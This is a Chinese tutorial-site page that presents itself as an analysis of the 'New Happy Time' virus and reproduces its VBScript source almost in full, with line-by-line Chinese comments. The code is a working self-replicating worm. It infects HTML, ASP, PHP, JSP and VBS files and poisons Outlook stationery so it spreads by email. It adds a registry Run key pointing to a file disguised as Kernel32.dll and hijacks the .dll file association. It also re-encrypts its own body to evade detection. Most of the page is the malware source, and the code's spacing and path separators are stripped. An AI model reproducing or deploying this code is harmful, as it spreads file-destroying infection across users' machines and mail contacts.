新欢乐时光代码分析_黑客相关教程-查字典教程网
新欢乐时光代码分析
新欢乐时光代码分析
发布时间:2016-12-29 来源:查字典编辑
摘要:28ThenCurrentString=FinalyDisk&":"ExitDoEndIfOnErrorResumeNext'取得当前目录的...

<%

DimInWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk

SubKJ_start()

'初始化变量

KJSetDim()

'初始化环境

KJCreateMilieu()

'感染本地或者共享上与html所在目录

KJLikeIt()

'通过vbs感染Outlook邮件模板

KJCreateMail()

'进行病毒传播

KJPropagate()

EndSub

'函数:KJAppendTo(FilePath,TypeStr)

'功能:向指定类型的指定文件追加病毒

'参数:

'FilePath指定文件路径

'TypeStr指定类型

FunctionKJAppendTo(FilePath,TypeStr)

OnErrorResumeNext

'以只读方式打开指定文件

SetReadTemp=FSO.OpenTextFile(FilePath,1)

'将文件内容读入到TmpStr变量中

TmpStr=ReadTemp.ReadAll

'判断文件中是否存在"KJ_start()"字符串,若存在说明已经感染,退出函数;

'若文件长度小于1,也退出函数。

IfInStr(TmpStr,"KJ_start()")<>0OrLen(TmpStr)<1Then

ReadTemp.Close

ExitFunction

EndIf

'如果传过来的类型是"htt"

'在文件头加上调用页面的时候加载KJ_start()函数;

'在文件尾追加html版本的加密病毒体。

'如果是"html"

'在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;

'如果是"vbs"

'在文件尾追加vbs版本的病毒体

IfTypeStr="htt"Then

ReadTemp.Close

SetFileTemp=FSO.OpenTextFile(FilePath,2)

FileTemp.Write"<"&"BODYonload="""

&"vbscript:"&"KJ_start()"""&">"&vbCrLf&TmpStr&vbCrLf&HtmlText

FileTemp.Close

SetFAttrib=FSO.GetFile(FilePath)

FAttrib.Attributes=34

Else

ReadTemp.Close

SetFileTemp=FSO.OpenTextFile(FilePath,8)

IfTypeStr="html"Then

FileTemp.WritevbCrLf&"<"&"HTML>"&vbCrLf&"<"

&"BODYonload="""&"vbscript:"&"KJ_start()"""&">"&vbCrLf&HtmlText

ElseIfTypeStr="vbs"Then

FileTemp.WritevbCrLf&VbsText

EndIf

FileTemp.Close

EndIf

EndFunction

'函数:KJChangeSub(CurrentString,LastIndexChar)

'功能:改变子目录以及盘符

'参数:

'CurrentString当前目录

'LastIndexChar上一级目录在当前路径中的位置

FunctionKJChangeSub(CurrentString,LastIndexChar)

'判断是否是根目录

IfLastIndexChar=0Then

'如果是根目录

'如果是C:,返回FinalyDisk盘,并将SubE置为0,

'如果不是C:,返回将当前盘符递减1,并将SubE置为0

IfLeft(LCase(CurrentString),1)=<LCase("c")Then

KJChangeSub=FinalyDisk&":"

SubE=0

Else

KJChangeSub=Chr(Asc(Left(LCase(CurrentString),1))-1)&":"

SubE=0

EndIf

Else

'如果不是根目录,则返回上一级目录名称

KJChangeSub=Mid(CurrentString,1,LastIndexChar)

EndIf

EndFunction

'函数:KJCreateMail()

'功能:感染邮件部分

FunctionKJCreateMail()

OnErrorResumeNext

'如果当前执行文件是"html"的,就退出函数

IfInWhere="html"Then

ExitFunction

EndIf

'取系统盘的空白页的路径

ShareFile=Left(WinPath,3)&"ProgramFilesCommonFilesMicrosoftSharedStationeryblank.htm"

'如果存在这个文件,就向其追加html的病毒体

'否则生成含有病毒体的这个文件

If(FSO.FileExists(ShareFile))Then

CallKJAppendTo(ShareFile,"html")

Else

SetFileTemp=FSO.OpenTextFile(ShareFile,2,true)

FileTemp.Write"<"&"HTML>"&vbCrLf&"<"&"BODYonload="""&"vbscript:"&"KJ_start()"""&">"&vbCrLf&HtmlText

FileTemp.Close

EndIf

'取得当前用户的ID和OutLook的版本

DefaultId=WsShell.RegRead("HKEY_CURRENT_USERIdentitiesDefaultUserID")

OutLookVersion=WsShell.RegRead("HKEY_LOCAL_MACHINESoftwareMicrosoftOutlookExpressMediaVer")

'激活信纸功能,并感染所有信纸

WsShell.RegWrite"HKEY_CURRENT_USERIdentities"&DefaultId&"SoftwareMicrosoftOutlookExpress"&Left(OutLookVersion,1)&".0MailComposeUseStationery",1,"REG_DWORD"

CallKJMailReg("HKEY_CURRENT_USERIdentities"&DefaultId&"SoftwareMicrosoftOutlookExpress"&Left(OutLookVersion,1)&".0MailStationeryName",ShareFile)

CallKJMailReg("HKEY_CURRENT_USERIdentities"&DefaultId&"SoftwareMicrosoftOutlookExpress"&Left(OutLookVersion,1)&".0MailWideStationeryName",ShareFile)

WsShell.RegWrite"HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0OutlookOptionsMailEditorPreference",131072,"REG_DWORD"

CallKJMailReg("HKEY_CURRENT_USERSoftwareMicrosoftWindowsMessagingSubsystemProfilesMicrosoftOutlookInternetSettingsa0d020000000000c00000000000004601e0360","blank")

CallKJMailReg("HKEY_CURRENT_USERSoftwareMicrosoftWindowsNTCurrentVersionWindowsMessagingSubsystemProfilesMicrosoftOutlookInternetSettingsa0d020000000000c00000000000004601e0360","blank")

WsShell.RegWrite"HKEY_CURRENT_USERSoftwareMicrosoftOffice10.0OutlookOptionsMailEditorPreference",131072,"REG_DWORD"

CallKJMailReg("HKEY_CURRENT_USERSoftwareMicrosoftOffice10.0CommonMailSettingsNewStationery","blank")

KJummageFolder(Left(WinPath,3)&"ProgramFilesCommonFilesMicrosoftSharedStationery")

EndFunction

'函数:KJCreateMilieu()

'功能:创建系统环境

FunctionKJCreateMilieu()

OnErrorResumeNext

TempPath=""

'判断操作系统是NT/2000还是9X

IfNot(FSO.FileExists(WinPath&"WScript.exe"))Then

TempPath="system32"

EndIf

'为了文件名起到迷惑性,并且不会与系统文件冲突。

'如果是NT/2000则启动文件为systemKernel32.dll

'如果是9x启动文件则为systemKernel.dll

IfTempPath="system32"Then

StartUpFile=WinPath&"SYSTEMKernel32.dll"

Else

StartUpFile=WinPath&"SYSTEMKernel.dll"

EndIf

'添加Run值,添加刚才生成的启动文件路径

WsShell.RegWrite"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunKernel32",StartUpFile

'拷贝前期备份的文件到原来的目录

FSO.CopyFileWinPath&"webkjwall.gif",WinPath&"webFolder.htt"

FSO.CopyFileWinPath&"system32kjwall.gif",WinPath&"system32desktop.ini"

'向%windir%webFolder.htt追加病毒体

CallKJAppendTo(WinPath&"webFolder.htt","htt")

'改变dll的MIME头

'改变dll的默认图标

'改变dll的打开方式

WsShell.RegWrite"HKEY_CLASSES_ROOT.dll","dllfile"

WsShell.RegWrite"HKEY_CLASSES_ROOT.dllContentType","application/x-msdownload"

WsShell.RegWrite"HKEY_CLASSES_ROOTdllfileDefaultIcon",WsShell.RegRead("HKEY_CLASSES_ROOTvxdfileDefaultIcon")

WsShell.RegWrite"HKEY_CLASSES_ROOTdllfileScriptEngine","VBScript"

WsShell.RegWrite"HKEY_CLASSES_ROOTdllFileShellOpenCommand",WinPath&TempPath&"WScript.exe""%1""%*"

WsShell.RegWrite"HKEY_CLASSES_ROOTdllFileShellExPropertySheetHandlersWSHProps","{60254CA5-953B-11CF-8C96-00AA00B8708C}"

WsShell.RegWrite"HKEY_CLASSES_ROOTdllFileScriptHostEncode","{85131631-480C-11D2-B1F9-00C04F86C324}"

'启动时加载的病毒文件中写入病毒体

SetFileTemp=FSO.OpenTextFile(StartUpFile,2,true)

FileTemp.WriteVbsText

FileTemp.Close

EndFunction

'函数:KJLikeIt()

'功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录

FunctionKJLikeIt()

'如果当前执行文件不是"html"的就退出程序

IfInWhere<>"html"Then

ExitFunction

EndIf

'取得文档当前路径

ThisLocation=document.location

'如果是本地或网上共享文件

IfLeft(ThisLocation,4)="file"Then

ThisLocation=Mid(ThisLocation,9)

'如果这个文件扩展名不为空,在ThisLocation中保存它的路径

IfFSO.GetExtensionName(ThisLocation)<>""Then

ThisLocation=Left(ThisLocation,Len(ThisLocation)-Len(FSO.GetFileName(ThisLocation)))

EndIf

'如果ThisLocation的长度大于3就尾追一个""

IfLen(ThisLocation)>3Then

ThisLocation=ThisLocation&""

EndIf

'感染这个目录

KJummageFolder(ThisLocation)

EndIf

EndFunction

'函数:KJMailReg(RegStr,FileName)

'功能:如果注册表指定键值不存在,则向指定位置写入指定文件名

'参数:

'RegStr注册表指定键值

'FileName指定文件名

FunctionKJMailReg(RegStr,FileName)

OnErrorResumeNext

'如果注册表指定键值不存在,则向指定位置写入指定文件名

RegTempStr=WsShell.RegRead(RegStr)

IfRegTempStr=""Then

WsShell.RegWriteRegStr,FileName

EndIf

EndFunction

'函数:KJOboSub(CurrentString)

'功能:遍历并返回目录路径

'参数:

'CurrentString当前目录

FunctionKJOboSub(CurrentString)

SubE=0

TestOut=0

DoWhileTrue

TestOut=TestOut+1

IfTestOut>28Then

CurrentString=FinalyDisk&":"

ExitDo

EndIf

OnErrorResumeNext

'取得当前目录的所有子目录,并且放到字典中

SetThisFolder=FSO.GetFolder(CurrentString)

SetDicSub=CreateObject("Scripting.Dictionary")

SetFolders=ThisFolder.SubFolders

FolderCount=0

ForEachTempFolderinFolders

FolderCount=FolderCount+1

DicSub.AddFolderCount,TempFolder.Name

Next

'如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1

IfDicSub.Count=0Then

LastIndexChar=InstrRev(CurrentString,"",Len(CurrentString)-1)

SubString=Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)

CurrentString=KJChangeSub(CurrentString,LastIndexChar)

SubE=1

Else

'如果存在子目录

'如果SubE为0,则将CurrentString变为它的第1个子目录

IfSubE=0Then

CurrentString=CurrentString&DicSub.Item(1)&""

ExitDo

Else

'如果SubE为1,继续遍历子目录,并将下一个子目录返回

j=0

Forj=1ToFolderCount

IfLCase(SubString)=LCase(DicSub.Item(j))Then

Ifj<FolderCountThen

CurrentString=CurrentString&DicSub.Item(j+1)&""

ExitDo

EndIf

EndIf

Next

LastIndexChar=InstrRev(CurrentString,"",Len(CurrentString)-1)

SubString=Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)

CurrentString=KJChangeSub(CurrentString,LastIndexChar)

EndIf

EndIf

Loop

KJOboSub=CurrentString

EndFunction

'函数:KJPropagate()

'功能:病毒传播

FunctionKJPropagate()

OnErrorResumeNext

RegPathvalue="HKEY_LOCAL_MACHINESoftwareMicrosoftOutlookExpressDegree"

DiskDegree=WsShell.RegRead(RegPathvalue)

'如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘

IfDiskDegree=""Then

DiskDegree=FinalyDisk&":"

EndIf

'继DiskDegree置后感染5个目录

Fori=1To5

DiskDegree=KJOboSub(DiskDegree)

KJummageFolder(DiskDegree)

Next

'将感染记录保存在"HKEY_LOCAL_MACHINESoftwareMicrosoftOutlookExpressDegree"键值中

WsShell.RegWriteRegPathvalue,DiskDegree

EndFunction

'函数:KJummageFolder(PathName)

'功能:感染指定目录

'参数:

'PathName指定目录

FunctionKJummageFolder(PathName)

OnErrorResumeNext

'取得目录中的所有文件集

SetFolderName=FSO.GetFolder(PathName)

SetThisFiles=FolderName.Files

HttExists=0

ForEachThisFileInThisFiles

FileExt=UCase(FSO.GetExtensionName(ThisFile.Path))

'判断扩展名

'若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体

'若是VBS则向文件中追加VBS版的病毒体

'若是HTT,则标志为已经存在HTT了

IfFileExt="HTM"OrFileExt="HTML"OrFileExt="ASP"OrFileExt="PHP"OrFileExt="JSP"Then

CallKJAppendTo(ThisFile.Path,"html")

ElseIfFileExt="VBS"Then

CallKJAppendTo(ThisFile.Path,"vbs")

ElseIfFileExt="HTT"Then

HttExists=1

EndIf

Next

'如果所给的路径是桌面,则标志为已经存在HTT了

If(UCase(PathName)=UCase(WinPath&"Desktop"))Or(UCase(PathName)=UCase(WinPath&"Desktop"))Then

HttExists=1

EndIf

'如果不存在HTT

'向目录中追加病毒体

IfHttExists=0Then

FSO.CopyFileWinPath&"system32desktop.ini",PathName

FSO.CopyFileWinPath&"webFolder.htt",PathName

EndIf

EndFunction

'函数KJSetDim()

'定义FSO,WsShell对象

'取得最后一个可用磁盘卷标

'生成传染用的加密字串

'备份系统中的webfolder.htt和system32desktop.ini

FunctionKJSetDim()

OnErrorResumeNext

Err.Clear

'测试当前执行文件是html还是vbs

TestIt=WScript.ScriptFullname

IfErrThen

InWhere="html"

Else

InWhere="vbs"

EndIf

'创建文件访问对象和Shell对象

IfInWhere="vbs"Then

SetFSO=CreateObject("Scripting.FileSystemObject")

SetWsShell=CreateObject("WScript.Shell")

Else

SetAppleObject=document.applets("KJ_guest")

AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")

AppleObject.createInstance()

SetWsShell=AppleObject.GetObject()

AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")

AppleObject.createInstance()

SetFSO=AppleObject.GetObject()

EndIf

SetDiskObject=FSO.Drives

'判断磁盘类型

'

'0:Unknown

'1:Removable

'2:Fixed

'3:Network

'4:CD-ROM

'5:RAMDisk

'如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAMDisk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样?

ForEachDiskTempInDiskObject

IfDiskTemp.DriveType<>2AndDiskTemp.DriveType<>1Then

ExitFor

EndIf

FinalyDisk=DiskTemp.DriveLetter

Next

'此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。

'加密算法

DimOtherArr(3)

Randomize

'随机生成4个算子

Fori=0To3

OtherArr(i)=Int((9*Rnd))

Next

TempString=""

Fori=1ToLen(ThisText)

TempNum=Asc(Mid(ThisText,i,1))

'对回车、换行(0x0D,0x0A)做特别的处理

IfTempNum=13Then

TempNum=28

ElseIfTempNum=10Then

TempNum=29

EndIf

'很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。

TempChar=Chr(TempNum-OtherArr(iMod4))

IfTempChar=Chr(34)Then

TempChar=Chr(18)

EndIf

TempString=TempString&TempChar

Next

'含有解密算法的字串

UnLockStr="Execute(""DimKeyArr(3),ThisText""&vbCrLf&""KeyArr(0)="&OtherArr(0)&"""&vbCrLf&""KeyArr(1)="&OtherArr(1)&"""&vbCrLf&""KeyArr(2)="&OtherArr(2)&"""&vbCrLf&""KeyArr(3)="&OtherArr(3)&"""&vbCrLf&""Fori=1ToLen(ExeString)""&vbCrLf&""TempNum=Asc(Mid(ExeString,i,1))""&vbCrLf&""IfTempNum=18Then""&vbCrLf&""TempNum=34""&vbCrLf&""EndIf""&vbCrLf&""TempChar=Chr(TempNum+KeyArr(iMod4))""&vbCrLf&""IfTempChar=Chr(28)Then""&vbCrLf&""TempChar=vbCr""&vbCrLf&""ElseIfTempChar=Chr(29)Then""&vbCrLf&""TempChar=vbLf""&vbCrLf&""EndIf""&vbCrLf&""ThisText=ThisText&TempChar""&vbCrLf&""Next"")"&vbCrLf&"Execute(ThisText)"

'将加密好的病毒体复制给变量ThisText

ThisText="ExeString="""&TempString&""""

'生成html感染用的脚本

HtmlText="<"&"scriptlanguage=vbscript>"&vbCrLf&"document.write"&""""&"<"&"div>"&"<""&"""&"APPLETNAME=KJ""&""_guestHEIGHT=0WIDTH=0code=com.ms.""&""activeX.Active""&""XComponent>"&"<"&"/APPLET>"&"<"&"/div>"""&vbCrLf&"<"&"/script>"&vbCrLf&"<"&"scriptlanguage=vbscript>"&vbCrLf&ThisText&vbCrLf&UnLockStr&vbCrLf&"<"&"/script>"&vbCrLf&"<"&"/BODY>"&vbCrLf&"<"&"/HTML>"

'生成vbs感染用的脚本

VbsText=ThisText&vbCrLf&UnLockStr&vbCrLf&"KJ_start()"

'取得Windows目录

'GetSpecialFolder(n)

'0:WindowsFolder

'1:SystemFolder

'2:TemporaryFolder

'如果系统目录存在webFolder.htt和system32desktop.ini,则用kjwall.gif文件名备份它们。

WinPath=FSO.GetSpecialFolder(0)&""

If(FSO.FileExists(WinPath&"webFolder.htt"))Then

FSO.CopyFileWinPath&"webFolder.htt",WinPath&"webkjwall.gif"

EndIf

If(FSO.FileExists(WinPath&"system32desktop.ini"))Then

FSO.CopyFileWinPath&"system32desktop.ini",WinPath&"system32kjwall.gif"

EndIf

EndFunction

%>

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新黑客相关学习
    热门黑客相关学习
    编程开发子分类